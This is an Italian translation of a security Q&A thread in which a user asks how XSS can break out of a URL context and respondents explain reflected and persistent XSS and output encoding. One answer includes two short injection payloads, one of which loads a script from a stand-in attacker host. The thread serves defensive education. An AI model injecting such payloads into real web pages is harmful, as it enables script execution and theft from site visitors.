Come uscire dal contesto dell'URL

6

Il OWASP XSS Prevention Worksheet consiglia "escape URL prima di inserire dati non affidabili nel parametro URL HTML valori".

Non capisco come qualcuno possa uscire da un contesto URL o iniettare un nuovo sottocontesto per eseguire un attacco XSS in un URL. Poiché il browser interpreta l'URL, alcuni caratteri possono essere utilizzati per interrompere l'elaborazione dell'URL e forzare il browser a iniziare l'elaborazione di un nuovo URL inserito?

http://somesite.com/about<terminating character>javascript:;alert("hello")

Qualcuno può fornire esempi di come qualcuno potrebbe eseguire un'iniezione XSS in un URL?

    
posta bwroga 23.02.2015 - 15:42
fonte

2 risposte

3

Il problema è se accetti l'input dell'utente come parte dell'URL che emetti, come in questo esempio dato da OWASP:

<a href="http://www.somesite.com?test=[user input]">link</a >  

L'utente malintenzionato non deve uscire dal contesto dell'URL, ma fuori dalla stringa, ad esempio iniettando:

foo" onload="evilJS();" foo="bar

o per uscire dal tag a pure:

"><script src="evil.attacker/script.js"></script>
    
risposta data 23.02.2015 - 15:47
fonte
0

Questo è un attacco classico chiamato "XSS riflesso" e può anche essere usato per "Persistent XSS". Se non si codificano i parametri inviati alla propria applicazione Web, questi possono "riflettersi" di nuovo nel corpo html ed essere eseguiti come javascript. Di regola, codifica assolutamente tutto. Tutti i tag che possono essere utilizzati per produrre XSS devono essere codificati prima di essere mostrati nell'applicazione (come < > in questo caso.) Ciò che può essere peggio (nel caso persistente), è quando l'XSS viene salvato nel tuo applicazione e richiamata tramite database.

Molti framework web non lo fanno per impostazione predefinita.

    
risposta data 23.02.2015 - 15:49
fonte

Leggi altre domande sui tag